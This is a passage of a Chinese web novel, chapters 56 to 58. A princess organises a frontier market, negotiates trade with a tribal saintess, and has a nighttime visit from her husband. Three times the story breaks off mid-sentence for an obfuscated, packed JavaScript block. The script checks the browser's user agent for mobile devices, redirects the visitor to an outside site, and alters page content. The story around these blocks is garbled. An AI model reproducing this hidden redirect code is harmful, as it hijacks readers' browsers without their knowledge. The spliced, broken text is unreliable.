那五名骑兵急忙勒马,为首一人高举起双手,示意并无武器,扬声道:“我等并非寻衅!是奉世子与郡主之命,为互市之事前来传书!” 弥荼眯起茶色的眸子,锐利的目光如鹰隼般锁住几人,并未放松警惕,“什么互市?没听说过。” “有文书为证,郡主望与苍狼部缔结友好之契,特邀苍狼部参加大雍与北夷三十六部的第一届互市!” 为首的骑兵一面扬声喊道,一面从怀中取出一卷文书,裹了块石子,利落地扬臂一丢。 那卷文书划出一道弧线,“啪”地一声,精准地落在弥荼马前数尺的草地上。 她身后一名亲卫正要上前,弥荼抬手制止。她亲自策马前行两步,俯身用马鞭灵巧地一挑,将那卷文书捞入手中。 她不紧不慢地挑开系绳,瞧了一眼,见上面印着鲜红的印信,才懒懒地一挥手。 “告诉你们主子,苍狼部收到了。” “圣女,这什么‘互市’是真的假的?让咱们跟大雍人做生意?别是又憋着什么坏,把咱们骗过去一锅端了吧?” 营帐内,听弥荼念完文书内容的亲卫首领赫尔林困惑地问,大雍主动要与他们做生意,这事怎么看怎么不靠谱。 “阿爷觉得呢?”弥荼没答话,而是看向上首坐着的老人。 老人是苍狼部的狼主,他的目光落在文书后面的印信上,沉吟片刻,将问题丢给了围坐的众人,“你们怎么看?” 一名肌肉虬结的壮汉拍了桌子,“不能信!阿尔纳部才派了人来,想要集结三十六部的兵力,再去攻打大雍。到时将他们的土地都打下来,不就什么东西都是我们的了!” 弥荼一掀眼皮,冷峭一笑,“二叔糊涂了?阿尔纳部哪次不是被定北王咬着尾巴打?拉拢我们,不过就是想让我们去当前锋肉盾,拿命给他们填一个机会罢了。” “这些年来,他们欺辱我们各部族的事做的还少吗?” “你这丫头,上次你不是也答应了去烧粮草吗?”二叔被骂急了,又不敢冲她拍桌,只能提起旧事。 弥荼一拍桌,“那时我当他们真想合作,才答应送个投名状,事后他们说好的物资一样也没送过来。再信他们的鬼话,我就将脑袋摘下来给阿丹当球踢!” 角落里抱着饼啃的小少年浑身一颤,忙摆手,“我不踢我不提,圣女你别这样。” 弥荼没理他,继续道:“阿爷,我觉得我们可以试一试。我亲自带人去,若是有什么不对劲的,杀一条血路也就逃出来了。” 老人迟疑片刻,“让我再想一想。” 他想到什么,吩咐道:“你去打听打听,疾羽营都给哪些部族传了信。” “好嘞阿爷。”弥荼爽快应了,利落起身往营帐外走。 56. 第 56 章 鸟鸣啁啾,密林成荫。 午后的阳光被茂密的茅草亭顶筛过,落下斑驳而温柔的光影,在月白色裙裾上烙下深深浅浅的图案。 封眠坐在木凳上,面前摆着一卷摊开的舆图,正与坐在对面的陆鸣竹低声交谈。 陆鸣竹指着舆图上几处地方,“底下的书吏已经在这几处买好了铺子,即日便可开业。” 这是之前封眠交予他的开分铺的任务,他颇做了几番取舍,最终在云中郡周遭选定了四个相对来说服兵役最多的城镇。 待这几间铺子的运转走上正轨,便可以继续向四周辐辏,以封眠这不怕花钱的财力,慢则半年,快则三月,便可确保北疆境内所有定北军及其家属都能享受上福利了。 陆鸣竹悄眼看向身侧的人,心中想着,也不知道她满不满意呢? 封眠微微倾身,目光顺着陆鸣竹修长的指尖落在图上,神色极为专注。 阳光恰好照亮她半边脸颊,细腻的肌肤如上好的暖玉,长睫垂下,在眼睑处投下一小片安静的阴影。 顾春温拐进院子时,瞧见的便是这一副情节,他上前不动声色地坐到两人中间,提起茶壶为两人的杯盏续上清茶,一左一右地将茶盏推了过去,自然地介入其间。 “郡主,陆兄,谈得如何了?” 封眠接过茶盏,先笑着向他道了声谢,才继续对陆鸣竹道:“铺子事交予陆大人办,我最是放心了。不必吝惜银钱,只是铺子掌柜的人选需要审慎些,偷奸耍滑阳奉阴违的,万万要不得。” “自然,郡主放心。”陆鸣竹有些高兴地点点头。 顾春温适时地叹了口气,“陆兄是顺利了,可怜我这里,实在称不上顺利……” 举办互市的场所已由村长带着人收整出来了,连每一家摊位都划分得整整齐齐,做好了木制路标,可以说是十分妥帖。 然而传信的部族都还没有回消息,至于大雍参与互市的商贾们……除了郡主名下的铺子,还有折夫人友情提供的几家商铺,其余小门小户,皆屏息观望,无一人敢率先冒头。 即便是郡主都已亲自来了黑石沟,他们心底里头还是打鼓。万一北夷那帮人闹出乱子来,疾羽营和鸾仪卫自然是紧着郡主保护的,那可是皇亲国戚,是世子妃啊! 他们摸摸自己的项上人头,还是放不下心来。 导致这指路的路标之上,都还空着一多半。 离互市正式开启的日子还有三日,倒是有些感兴趣却又胆子小的行商恰好路过,来到筹备多时的互市招商会上看个热闹。 他们更多是想来瞧瞧主持这互市的郡主是个什么厉害模样,可真是有胆子,竟敢和北夷人做生意。 一瞧是个娇滴滴的美人,心下都更为失望了。这若是个能强壮些的,能提弓射箭的女子,他们说不得还能更安心一下。 这风一吹便能折倒的模样,当真能顶事吗? 这话他们自然不敢当着面议论,只是彼此交流的眼神之中已将轻视失望的意思表达得淋漓尽致。 向来神色柔和的顾春温都有些冷了脸,忍不住便要发作,被身后的封眠轻轻拍了拍肩头。 封眠冲他微微摇头,示意他不必动怒。 接着她向前迈了两步,目光平静地扫过一众商贾,声音清朗,不高却足以让每个人听清。 “诸位掌柜皆是行遍天下、见多识广的聪明人。我知诸位心下有许多疑虑,关心这风险几何?利益几分?” “我也不与大家谈什么利国利民、安边治世的大道理,只说三件实在的事。” “第一,凡互市商队,皆可领取镖旗。疾羽营与鸾仪卫会定期巡道,清剿匪患,护送你们一路离开北疆。若在路上出现任何闪失,导致货损,依货值,郡主府赔付八成。” 封眠周身不见丝毫骄矜之气,语气斩钉截铁,令人众人都听进了心中。他们在北疆行商,风险本就教旁处更大些,许多人都打算走过两三次商道便再也不走了,北疆市场是大,但也极可能前一次赚得盆满钵满,后一次便货物尽失。 更可怕的是连命都丢了。 郡主如今却说商道有将士巡逻,那便不怕半道遇匪了! “第二,互市之内,自有律法。凡欺行霸市、劫掠偷盗、恶意伤人者,无论他是大雍人、北夷人,皆依《互市条规》严惩不贷!疾羽营与鸾仪卫亦会在内巡逻,保障每一位百姓的安危。” “第三,互市前三年,市税减半,摊位免费。黑石沟附近的货栈,也以最低价租借给大家囤货周转。” 封眠目光清亮地扫过每一个人,“今日,无需大家立刻押上全部身家。只请诸位,信我一次。” “愿意参与本次互市的商户,可上前来,白纸黑字,立据为凭。往后一切,我们依约行事!” 台下顿时响起嘈嘈切切的议论声,有了这三点保证,众人纷纷都有些心动,彼此交头接耳着,跃跃欲试,蠢蠢欲动,却都在等着瞧,有没有那敢做第一个的人? 正当此时,人群边缘一阵骚动,一位风尘仆仆的中年富商排众而出。 “我来!郡主,草民愿参与互市!” 他发冠蒙尘,袍角沾泥,显是刚经过长途跋涉,一双眼睛却亮得惊人,精神头极好的模样。 他三两步挤到最前头,站定了后顶着满额的汗水回身,环视在场诸人,声若洪钟:“诸位!我姓赵的行商三十年,南来北往,踏遍了大雍境内的大小城镇,说实话,遇上劫道的,赔本折利,那都不是新鲜事,只要命还在,也就将这亏吃下了,灰头土脸地回家去,借些银钱再谨慎小心地跑一趟。” “前些日子,我在拥雪关附近遇着一群流民化作的劫匪……” 人群中,黑石沟村长默默把自己往后头藏了藏。 “他们没动我的货也没伤我的人,只抢了些吃食,并一点点的琐碎银两。这比起其他流匪来说,都当不得一个“匪”字。可偏偏郡主还惦记着我这点损失,亲自派人追上来,加倍地赔给了我!” 封眠听得一愣,才意识到这是黑石沟众人曾经打劫过的倒霉富商。 顾春温和陆鸣竹的目光也落到封眠身上,她的一句话,一次妥帖的善心,行时无心,不求回报,却意外地为这次的互市埋下了一个好的开头。 世间万般筹谋,皆不及人心向暖。 “这不是钱多钱少的事,这是一份千金难买的善心与仁义。”姓赵的富商猛地一拍胸膛,豪气云干地说:“我老赵今天就把话放在这儿了!郡主是真心实意为了百姓好的人,她绝不会拿咱们的身家性命当儿戏!” “这互市,我信她!” 话音掷地,如巨石落水,寂静的人群顿时起了波澜。 顾春温适时扬声道:“互市摊位名额有限,先到先得。” 众人纷纷入潮打浪头一般向前涌去。 “我也信!我也要参与互市!” “还有我,还有我!” “别挤我啊,我先来的!” “诸位莫急,排好队,一个一个来!”陆鸣竹赶紧帮忙维护秩序,然后便被左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246902|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边踩一脚,右边捣一拳。 顾春温看不过眼,将他拉了出来,“你这体质……” 他轻叹一口气,“就别进去挤了。” “来,喝茶喝茶。”已在一旁展开的巨伞下坐好的封眠笑眯眯招手,示意两人过来歇一歇,“总算是不必再担忧互市之日,摊位空荡荡了,快先歇一歇吧,之后的事情可还多着呢。” 顾春温从善如流地坐到封眠身侧,陆鸣竹也巴巴地跟上来。 “辛苦二位大人了。”封眠亲自给二人倒满了茶盏推过去。 陆鸣竹受宠若惊:“不辛苦不辛苦,为郡主做事,都是应该的。” 顾春温轻笑道:“我与陆兄可不敢居功。迄今为止,郡主想做的事情,似乎还没有做不成的。” 这话一出,封眠细细回想了一下,蓦地想起来,最初她想去春日宴偶遇顾春温,此事便没成呀。 她古怪地瞧一眼顾春温,赶紧摇摇头,将旧日思绪赶出脑海。 未成的史书之言早已改写,以后大家便是同僚,可莫要胡思乱想了。 顾春温:……? 总觉得好像错过了什么。 互市顺利开头的时候,云中郡外几百里外,一座名为雀城的小城内,几家商铺已悄然易主。 杏花街上一间空置许久的铺子前头,被挂上了“封”字牌。 路过的百姓与忙碌的小工闲聊,“哎,小哥,这挂着的牌子写的什么?” “是个‘封’字,是我们东家的姓。” 茶摊上一个背对而坐的青年闻言回首,瞧一眼挂着字牌,瞳孔微震,开口问道:“这是哪家的‘封’字?” 他穿一身靛蓝直裰,眉目英挺,有着奔波留下的风霜。 小工格外骄傲地一仰首,“我们东家这个‘封’字可尊贵得很!东家是当今陛下亲封的清平郡主,如今的定北王世子妃!” 驻足围观的百姓惊呼出声,“喔唷,那是尊贵的很嘞,怎么想着跑来咱们这种小地方开铺子?” “你们中可有人的儿子在定北军中?”小工卖了个关子。 人群中一位婶娘拽了拽身旁腼腆妇人的手,“她家有,张氏她家大小两个儿子,都投了定北军了!” “那可是了不得!定北军厉害得很。” 腼腆妇人垂着眼缩回手,心下苦涩,儿子们为了报国的理想偏要投军,邻里们都敬佩她家有两个定北军,可是这有什么用? 家中大小活计都压在她与夫君两人身上,公婆也镇日不得闲,病了也不敢与她说。两个小子的饷银就是尽数寄了回来,也是用得紧巴巴。 她更是不敢想,若是将来有个万一,两个儿子都为国捐了躯,她要如何活下去呢? “张婶婶,您可收到儿子的家信了没有?可有随信寄来一个铁牌牌?” 张氏点点头,两个铁牌上分别写着儿子们的姓名,还有奇怪的编号,初时她吓得险些晕过去,还以为这是从尸身捡回来的…… “那是咱们郡主为诸位定北军将士谋的福祉!” 小工如此这般地将铁制铭牌的用处说了,张氏都听晕了,这种好事还能轮到她的身上? 旁边人都稀罕坏了,先前拽她手的婶娘忙拉着她往回走,“快,快回去给我瞧瞧你那铁牌牌,咱拿过来试试是不是真的管用!” 众人纷纷散开,将听到的消息当八卦,各自传开了去。 茶摊上的青年一动不动地凝眸看着铺子下悬挂的“封”字牌,目如深潭一般,半晌,忽地冷笑一声。 57. 第 57 章 开互市前一日,陆鸣竹和顾春温一早便陪着封眠来互市场所巡视。 互市场所设在黑石沟外围一片平坦开阔之地上,以木栅栏合围成一个半封闭的集市,入口前有两座瞭望台用以示警。 瞭望台后便是官员核验身份的稽查区,到时参与互市的商贾核查文书货物无误,便可顺利入内。用来阻止一些想要浑水摸鱼的小人。 进入集市内,便可见用简易的绳索分出的几大区域,一个宽阔的中央广场将大雍和北夷的商区分隔两“岸”,衙门官员会在此处上值,为两方的商贾解决交易争端,几名顾春温带来的通晓北夷语言的通事也会在此处提供一些翻译业务。 乡间的土路被夯得十分实在,平整又干净,不见尘土飞扬。 大雍商区处,大大小小的摊位几乎已被占满,商贾们正仔仔细细地理着货,十分井井有条。 相对应的北夷商区则空空如也,十分冷清。 递去邀约文书的七个北夷部族依然没有回复。 陆鸣竹瞧见此情此景有些担忧,“是否需要派人再去问上一问?” “不必。”封眠摆了摆手道,“强扭的瓜不甜。况且,互市于他们而言,所得利益远大于大雍,此番若是不来,后悔的应是他们才对。” “互市要开上整整半月,大不了前两日便只做大雍内部交易的市集,同样会很热闹。北夷那边观望到我们真是在正经开市集,又眼馋我们的茶盐货物,自然就会来了。” 若到时真的还没来,她再派人去“胁迫”一二,也还是来得及的。 顾春温赞同道:“不错,若我们一而再再而三地邀约,他们心下可能反而会更担忧我们有其他所图。不如就此轻松些。” 陆鸣竹略一思忖,是这么个道理。 上赶着的不是买卖。更何况大雍国力较北夷强上许多,怎么也不应是他们求着北夷部族来参加互市。 “郡主!” 就在这时,侍卫风甲从外头跑进来:“苍狼部圣女去了郡主下榻的驿站,请求一见。” 封眠落脚的地方是黑石沟所在郡县的一家小小的驿站。 两层小楼带一方小院,简朴自然。封眠一行许多人都住不下,只能在驿站附近撘营帐。 小院中有一方茅草亭,树影荫荫,展目便可望见院中长势喜人的野花野草,是封眠近日最喜爱的议事之地。 更兼视野开阔,眼风一扫,便将院中有几个人都收入眼底,双方都不必担心彼此在附近藏下什么埋伏。 侍卫将装扮十分异族的苍狼部圣女一行人带至亭外几步远的地方便停步。 “还请几位将武器卸下。”侍卫说着,便十分自然地上手欲接过弥荼身后亲卫首领赫尔林的佩刀。 赫尔林反应了一瞬,拿不准这时是听话还是假装听不懂大雍话,刚要看向弥荼请求一个明确的指令,一只纤细雪白的手掌便有力地钳住了侍卫的手腕。 弥荼转眸瞧向茅草亭中坐着的那道身影,以十分流利的大雍话扬声说到:“大雍喜欢说‘来者是客’,眼下这便是道客之道吗?” 亭中人侧身而坐,茅草亭一角遮住了她的半身,只能见她穿着一身烟霞橙竖领斜襟绫衫,配着靛青蓝棉布间裙,轻灵绮丽如晨光一般,并无明晃晃的金玉堆砌,却可见经年累月蕴养出的从容气度。 她抬腕轻轻一挥,腕间一对绞丝银镯轻轻相撞,发出细碎清音,一同响起的还有她清润的嗓音,“无妨,请圣女上座吧。” “是,郡主。” 侍卫向后撤了一步,弥荼轻哼一声,甩开他的手腕,大步走向茅草亭。 亭中端坐的人一动未动,只在她走近时抬眼瞧来,冲她露出一点笑来,伸手指了指面前的座位,“圣女请坐。” 弥荼也没动,她站在封眠面前,以俯视的姿势将她上下扫了一遍,目光从她仅簪了一支素银嵌碧玺簪的小盘髻,一直落到她裙裾下露出的一双青布缀珠绣鞋上。 鞋尖沾着泥土,显然走了不少路。 皇家贵女置身于乡野之间,打扮得毫不张扬,也并没有独坐高台,反而看起来似乎亲自踏足过黄土,倒像个认真做事的样子。 封眠同样在打量面前的圣女,明艳的面容上带着张扬的傲气,确是火一般的女子。 方才封眠故意让侍卫上前收缴武器,只是想试一试这苍狼部圣女的性子。 她第一时间出手擒住侍卫,说明此人并不好惹,对大雍也并不十分信任。但封眠退后一步后,她也很快给了个面子,说明并不是冲动行事不记后果的粗莽之人。 可以坐下来慢慢谈。 封眠慢条斯理地挽袖倒了杯茶,推到对面,“圣女冒着被阿尔纳部记恨的风险赶来,总不是想在此处枯站吧?” 弥荼眸光一闪,这才掀袍坐下。她解了腰间的长鞭,“啪”地扣在桌上,反言讥诮:“郡主殿下知道的事情倒是不少,想必也知道你若想搞些小动作,我依稀之内便可拧断你的头颅。” 封眠神色不变,甚至勾了勾唇角,露出些许无奈的笑意,“我与圣女初次见面,又在大雍境内,圣女不信任我,自是正常的。” “但这亭子里现下只有你我,我不会武,圣女大可不必如此防备。” 封眠说着,摊开双掌给弥荼看,掌心柔嫩,并无习武之人常有的茧子,完全是一双闺阁贵女的手。 茅草亭内确实只有她们二人相对而坐,亭外的侍卫尚有几步之遥,与赫尔林几人站在一处,不住警惕地悄悄盯着彼此的动作。 弥荼紧绷的腰背略松了松,手上将长鞭推向封眠的方向,松开,“郡主都这么表示了,那我也不为难你。你我谈完之前,这鞭子归你了。” “圣女有什么条件,请讲吧。”封眠没去拿鞭子,只开门见山地问道。她看出来这位苍狼部圣女是个有一说一的人,她让一步,她便也退一步,并不会步步紧逼,弯弯绕绕的一些话便也没必要铺垫了。 弥荼果然上来便将底牌亮了出来:“明日,我可以带你邀请的其余六部来参加互市。但要你拿粮食和铁器来换。” “粮食可以换,铁器也能谈。” 听封眠这般说,弥荼只高兴了一瞬便狐疑地瞧她,这么简单。 “但我要北夷三座边城。”封眠淡淡道。 “砰”,弥荼一拍桌,冷艳的茶色眼眸瞪得溜圆,“你是不是疯了?” 封眠:“此话同样要送予圣女。” “圣女不会不知粮食和铁器的重要性吧?粮食是民之根本,北疆本就缺粮,岂能从百姓口中夺食与你北夷交易?” “铁器更是兵器的基础,箭头、刀剑、铠甲、马镫、马鞍……无不需要铁器制作。来日你我之间兵戎相见,岂不是拿我亲手送出的武器来杀我自己?” “只要你三座城池,我都已是说少了。” 两人目光相触,一冷硬,一平和,终究是弥荼先低了头,“那你能交易什么?” “布匹绢帛,茶叶瓷器,还有盐。” 听到“盐”,弥荼眉梢微动。 封眠继续道:“圣女帮我说服其他部族前来参加互市,再帮我多寻一些稀奇的种子来,这些东西我们都可以交易。” “种子?”弥荼皱眉,“只说服其他人来参加互市还不够,你还要让我替你干活?” 封眠莞然一笑,“我若能从这些种子中发现可供种植食用的作物,待丰收之时,必定与苍狼部交易。” 可以交易的食物? 不得不说,虽然这句话中所说的一切都太过虚无缥缈了,弥荼还是有些心动了。她本来就是打算带人参加明日互市的,如今能多得一个日后交易粮食的机会,也没什么损失。 不过…… “你……堂堂郡主,还懂得种地?” 封眠一本正经地胡说八道:“我们大雍土地辽阔,人人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246903|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会种地。正如你们北夷人人都会骑马一样。” 弥荼半信半疑,也没再追问,只道:“你先拟个契约出来,日后你若反悔了,我苍狼部的铁骑定会踏平黑石沟。” “一诺千金。”封眠说着拿出早已准备好的契书,在桌上铺开,又将笔墨一一摆好,“请吧。” 弥荼:…… 大雍然果然都狡诈,她早就准备好了! 弥荼开始怀疑,这些种子才是她真正想要的东西。 但事已至此,她也不能临门毁约,毕竟她也是堂堂正正一诺千金的苍狼部圣女! 弥荼冷着脸签完了契书,将自己那份收入怀中,拿上鞭子扭头便准备走,忽然瞧见院门口飞一般扑进来一个人影。 “小表妹!九哥我来助你啦!”褚景淇甩开拦路的侍卫,“啧,你们这几个不长眼的,我与小表妹关系好似一人,她还能拦我吗!让开让开,都让开!” 弥荼飞快地转身坐下,背对院门,茶色眼眸呆滞了一瞬。 封眠奇怪地瞧她一眼,褚景淇已跑到了近前,欢欢喜喜地邀功,“小表妹,我在外头这些时日连开八家汤饼作坊,听闻你要开互市,我便担心这些胆小的商户帮不上你的忙,便从各地揪了几家富户来给你充场面!” “如何,九哥待你好吧!” 褚景淇一脸骄傲地扬了扬下巴,封眠失笑,连连点头,像模像样地抱拳一礼,“九哥待我真好,若非九哥援手,这互市可难开了呢。多谢九哥!” 褚景淇满意了,兀自上前到桌边给自己倒了杯茶,咕嘟咕嘟饮尽了,“为了赶上这互市,我可是一日都没敢歇息,快马加鞭回来的,真真是累死我了。” “对了,外头风乙说你在见什么苍狼部的圣女,人呢?走了?” 褚景淇说着扭头四望,封眠想起方才弥荼明显躲着人的状态,一时不知该不该开口。 这当口,褚景淇已经瞧见了背身而坐的弥荼,半点不认生地上前打招呼,“这位便是苍狼部圣女吧?圣女,在下褚景淇……” 他往弥荼右侧走,弥荼往左侧了侧身子,他顿了下,往弥荼左侧饶,弥荼往右侧了侧身子,褚景淇未说完的话音都在喉间哽住了。 这圣女怎么好似躲着他呢? 弥荼背对着褚景淇起身,压低了声音道:“明日我会准时带人来参加互市,族中有事,先走了。” 她就这么看也不看封眠二人,抬腿便往外走。 褚景淇听了她的声音愣了片刻,原地弹了出去,一把拽住了弥荼的一条胳膊,大声嚎道:“涂宓!” 目睹一切的封眠:?谁? “我找你找的好苦啊——” 褚景淇哭嚎的尾音,被打更人敲击的梆子声搅散 烛照通明的屋内,封眠坐在桌前,有些头疼地揉着额角,耳边仿佛还回响着褚景淇的哭嚎声。 白日里褚景淇拽着弥荼一通哭诉,她才搞清楚,弥荼竟就是当初烧粮草事件中,化名涂宓“骗了他感情”的那个少女。 向来做事都不大着调的褚景淇自那之后一直没放弃找她,只是她早已回了苍狼部,大雍境内哪里还有她的踪迹? 今日他见涂宓是苍狼部圣女弥荼,更确凿了自己被“欺骗感情”的事实,一颗少男心碎成了渣,哭的是真伤心。最后是弥荼忍无可忍,将人打晕,才恢复了清净。 弥荼将阿尔纳部指引她烧粮草的事交代给封眠,表示愿意在互市中让利赔偿。 为了第二日的互市,封眠也只能暂且应了。 只是,等褚景淇醒了,他们两人之间的事总还要有一个了结。 封眠一想到此就头痛,简直想修书一封给秦王舅舅。 “笃笃。” 窗棂忽然被敲响。 封眠顿时警觉看向紧闭的窗户,一手悄悄探入袖中握住了匕首,这里是二层,谁在敲窗? “是我,百里浔舟。” 58. 第 58 章 “当啷”一声,封眠将握着的匕首丢到桌上,提起裙摆三两步跑到窗边,小心地支开窗棂,便看到攀在窗外的人冲她粲然一笑。 浅淡如水的月光洒在他的身上,层层波光勾勒出优美的线条,明暗合宜的光影将漂亮的眉眼描画得更为生动。 封眠张了张唇,缓了片刻才找回自己的声音,压低了嗓音问道:“你怎么来了?” 夜半翻窗,好似浮荡的少年郎悄然赴一场密会一般。 “我能进去吗?”百里浔舟不答反问,因接下来要说的话而悄悄红了耳根,“这窗口好高。” 他的目光飘忽一阵才敢落在封眠的身上,她披着外衫,柔顺的黑发散落在肩头,屋内的烛火与月光交相辉映,一时闪了眼。 守在楼下并假装没有发现自家世子的疾羽营士卒扑棱扑棱耳朵,有点不敢相信自己听见了什么,丈尺高的城墙都敢翻,不过两层小楼的窗口便喊高了? 他默默地把自己往角落里缩了缩,捂住耳朵不敢再听百里浔舟又说了什么,生怕破坏自家世子在心中的形象。 二楼,无需百里浔舟再多言,封眠忙闪身让开位置,看着百里浔舟单手一撑窗框便跳了进来,动作利落漂亮,劲瘦的腰身在眼前一闪而过。 他带着夜风和青草的气息,将逼仄的窗角挤得满满当当。 封眠先是向后仰了仰身子,发觉根本拉不开多少距离,才后知后觉地向一旁挪步,往桌边走,给百里浔舟倒了一杯水递过去。 “你来便来了,怎么还翻窗户?” 又不是没有正门。 “我只待一会儿便走了,不想太兴师动众。”百里浔舟接过茶盏一饮而尽,小心翼翼地从身后拿出一个长条状的油纸包搁到桌上,推到封眠面前,“给你的。” 似是怕油纸包散开,上面还用麻绳进行了一个五花大绑。封眠解麻绳时,摸到胖鼓鼓的球状物体和细细的小木棍,便隐约猜到了这是什么。 待油纸包一层层打开,露出里面红彤彤的糖葫芦时,封眠还是有些不敢置信。 “你半夜跑过来翻窗户,是为了给我送糖葫芦?” 许是奔波太久,糖衣已然有些化了,糖水黏在油纸包上,印下汗水一般的痕迹。 “待天再热几分,便吃不到了。”百里浔舟急忙道,封眠垂头看着糖葫芦,他看不清她的神色,一时拿不准她是喜欢还是不喜欢,难得有些紧张,讷讷补充道,“你上次,不是想吃吗?” 上次,是从城外见完柳寄雪后,回王府的路上。封眠瞧见外头的糖葫芦小贩,呢喃一句转移了话题。 她盯着多瞧了一会儿,他当时看在眼里,正想喊停马车时,她转而谈起了旁的事,便耽搁了过去。 事后他悄悄派山衣去和流萤打听,得知封眠在很小的时候才吃过糖葫芦,后来鲜少出宫,嘉裕帝又将她养得精细,从不许吃外头的吃食,便几乎没再吃过了。 百里浔舟想着,他还时常会怀念年幼时吃过的民间小吃的味道,那她应是想要再尝一尝的。 只是开互市的事情传到阿尔纳部的耳朵里后,他们变得格外躁动,百里浔舟不得不分出更多的精力去解决阿尔纳部的骚扰。 今日清晨,他将一名阿尔纳部大将的脑袋丢进了他们的营帐,威慑他们短时间内不敢再妄动,带队回云中郡时,瞧见街边小贩在卖糖葫芦,猛然想起黑石沟可没有卖糖葫芦的。 一时头脑发热,便离队买了糖葫芦来见她。 “若是不喜欢……” “喜欢啊。”封眠捏起糖葫芦尾段的签子,一口咬掉了半颗山楂,融化的糖衣压不住山楂的酸,她被酸得眉眼皱到一处,眼底泛起一点水光,仍捧场道,“很好吃,谢谢你。” 百里浔舟的眉眼跟着她一起皱成了一团,牙根仿佛也泛起了一股酸意,“看起来不像是好吃的样子啊,算了……” 他伸手想将糖葫芦拿过来,被封眠闪身躲开。 她又吭哧吭哧咬了一口,“跟我小时候吃过的那根糖葫芦,味道一模一样,怎么不好吃了?” 小时候吃糖葫芦的记忆,依然源自于父亲带她出宫玩耍的那三日,仿佛是为了尽可能弥补多年来没有陪伴在她身边的遗憾,父亲陪着她吃了许多许多从未品尝过的民间小吃。 那时候一枚裹着糖衣的山楂果,就能有她半个巴掌大了,她抱着舔光了糖衣,满手满脸都黏糊糊的。父亲笑她是小花猫,拿手帕沾了水,一点一点替她擦干净。 她当时觉得糖葫芦是最好吃的小点心。 百里浔舟看她小仓鼠一般努力进食的模样,心口处酸酸软软的,他坐到封眠身侧,提议道:“我帮你吃几颗吧?夜里吃多了果子不好。” 话音刚落,糖葫芦便被横在他面前,封眠迫不及待地:“好啊。” 百里浔舟失笑,刚咬下一枚果子,门外忽然有窸窸窣窣声靠近。他警惕地凝目看向门边。 门被轻轻地敲响,褚景淇垂头丧气的声音从门缝里钻进来,“小表妹?你还没睡吧?” 百里浔舟:…… 他困惑地看向封眠,嘴巴被山楂果堵住,用眼神传递着“他怎么在这儿?这么晚了他过来干什么?” 封眠:“……一时半会说不清楚……” 外头褚景淇似乎将脑袋抵在了门缝,嗓音低低的,很是失落:“我能进去吗?唉,不进去也行,我在这里与你说说话吧,我心里堵得很,你说她到底是怎么想的呢……” 担心他满腔心事吵到这一楼的人,封眠忙将百里浔舟推到了床边缝隙藏好,悄声叮嘱:“你在这里躲一下,我让他进来说几句话!” 百里浔舟捏着手中被封眠塞过来的糖葫芦,听见房门被打开的声音,才后知后觉地困惑:我躲什么?我们不是正经夫妻吗? 褚景淇拖沓着步子跟封眠进了屋,唉声叹气地在桌旁坐下,一番饱含着个人情感又颠三倒四的倾诉,让躲在床侧的百里浔舟终于明白是怎么回事了。 他十分诧异,褚景淇竟还没放弃找那个叫涂宓的女孩?这不靠谱的小侯爷不会是动了真心吧? “你对她动了真心了?”封眠看褚景淇的神色当真是前所未有的伤心。 听闻这话,褚景淇顿时激动地坐直了,“自然是真心的!” 褚景淇开始细数自己真心的证据:“起初墨松他们说,过一段时日不见,我就会把她忘了,可她失踪这些天,我不但没忘了她,反而每日都愈发想念她。” “我每日睁眼闭眼都会想到她,不知她身在何方,平安与否,饿不饿冷不冷热不热。” “看见她爱吃的酥糖,我就想买下来给她留着。看见适合她的绸缎,我就想制成衣裙送给她……” 褚景淇数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246904|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得认真,封眠听得认真,床侧的百里浔舟听得出了神,他感觉自己好像在照镜子,见不到封眠的那几日,他也是日日惦念。 融化的糖衣顺着竹签滑到手上,百里浔舟在心中默默补充着:看见她可能想吃的糖葫芦,他也立刻买了,巴巴地一路送过来,其实更多是想给自己一个来见她的理由。 心底一簇簇零落的小火苗仿佛终于烧穿了什么壁垒,轰隆一下汇成了一团填满心间的火焰。 他终于确认,他也是真心的,真心喜欢她。 褚景淇尚在兀自喋喋不休着,“看见城中的粮草库,我就想着若粮草真是她烧的,你们能将她抓回来也好,我就能见一见她了。” “小表妹,以往我从未这样过……” 他的眉眼忽而飞扬,忽而耷拉下去,情绪起伏之大,真令封眠叹为观止。最后他仿佛没招了一般,睁着双茫然的眼向封眠求助,“小表妹,你说我该怎么办?” 封眠:…… 向她求助做什么?她难道就知道该怎么办吗? 褚景淇好像也知道自己问的不对,改了一个更加具体的问题,“你们都是女孩子,你帮我瞧瞧,她喜欢我吗?” 想到白日里弥荼那毫不留情一掌将他劈晕的劲头,封眠想摇头,对上褚景淇破碎的目光又不忍地顿住了,决定迂回一些暗示,“我听说苍狼部对情感都是很忠贞的,择一而终,至死不渝。” 